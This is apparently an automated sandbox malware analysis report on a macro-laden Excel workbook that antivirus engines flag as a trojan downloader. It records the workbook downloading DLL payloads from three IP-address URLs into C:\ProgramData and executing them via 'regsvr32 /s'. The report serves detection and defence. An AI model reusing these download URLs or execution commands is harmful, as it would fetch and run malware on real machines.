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REJ-507558316-Apr-12.xlsb

VBA_macro Malicious Library Excel Binary Workbook file format(xlsb)
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 April 13, 2022, 9:37 a.m. April 13, 2022, 9:40 a.m.
Size 1.2MB
Type Microsoft Excel 2007+
MD5 c40dfd30b7298c8fecee2c1dfd04a4ff
SHA256 54ec1cd56022272156d9d8fcc48cc00cb05e96f843c139f63aff90c57cb28772
CRC32 6E08649B
ssdeep 24576:ibT5/NgEa4uiwMIEz3cDnWFBGcMKSWXMgeAZK0jR4kyeMuoN:ifla7q3PYGjMKJXMgNZLOeo
Yara
  • xlsb - Excel Binary Workbook file format detection
  • Malicious_Library_Zero - Malicious_Library
  • Contains_VBA_macro_code - Detect a MS Office document with embedded VBA macro code [binaries]

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b4e3000
process_handle: 0xffffffff
1 0 0
file C:\ProgramData\Ulhdhrthdr2.dll
file C:\ProgramData\Ulhdhrthdr.dll
file C:\ProgramData\Ulhdhrthdr1.dll
Time & API Arguments Status Return Repeated

NtCreateFile

 create_disposition: 2 (FILE_CREATE)
file_handle: 0x000003f0
filepath: C:\Users\test22\AppData\Local\Temp\~$REJ-507558316-Apr-12.xlsb
desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$REJ-507558316-Apr-12.xlsb
create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE)
status_info: 2 (FILE_CREATED)
share_access: 1 (FILE_SHARE_READ)
1 0 0
cmdline regsvr32 /s C:\ProgramData\Ulhdhrthdr.dll
cmdline regsvr32 /s C:\ProgramData\Ulhdhrthdr1.dll
cmdline regsvr32 /s C:\ProgramData\Ulhdhrthdr2.dll
Sangfor Malware.Generic-XLM.Save.ma35
Cyren XF/SneakyBin.E.gen!Eldorado
Avast VBS:Malware-gen
Kaspersky HEUR:Trojan.MSOffice.Generic
Tencent Trojan.MsOffice.Macro40.11003135
GData Macro.Trojan-Downloader.Agent.BDH
Ikarus Trojan-Downloader.XLM.Agent
Fortinet MSOffice/Agent.92DD!tr
AVG VBS:Malware-gen
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: http://185.82.127.37/7790983516.dat
stack_pivoted: 0
filepath_r: C:\ProgramData\Ulhdhrthdr.dll
filepath: C:\ProgramData\Ulhdhrthdr.dll
2148270088 0

URLDownloadToFileW

 url: http://87.236.146.116/7790983516.dat
stack_pivoted: 0
filepath_r: C:\ProgramData\Ulhdhrthdr1.dll
filepath: C:\ProgramData\Ulhdhrthdr1.dll
2148270088 0

URLDownloadToFileW

 url: http://51.195.38.33/7790983516.dat
stack_pivoted: 0
filepath_r: C:\ProgramData\Ulhdhrthdr2.dll
filepath: C:\ProgramData\Ulhdhrthdr2.dll
2148270088 0
parent_process excel.exe martian_process regsvr32 /s C:\ProgramData\Ulhdhrthdr.dll
parent_process excel.exe martian_process regsvr32 /s C:\ProgramData\Ulhdhrthdr1.dll
parent_process excel.exe martian_process regsvr32 /s C:\ProgramData\Ulhdhrthdr2.dll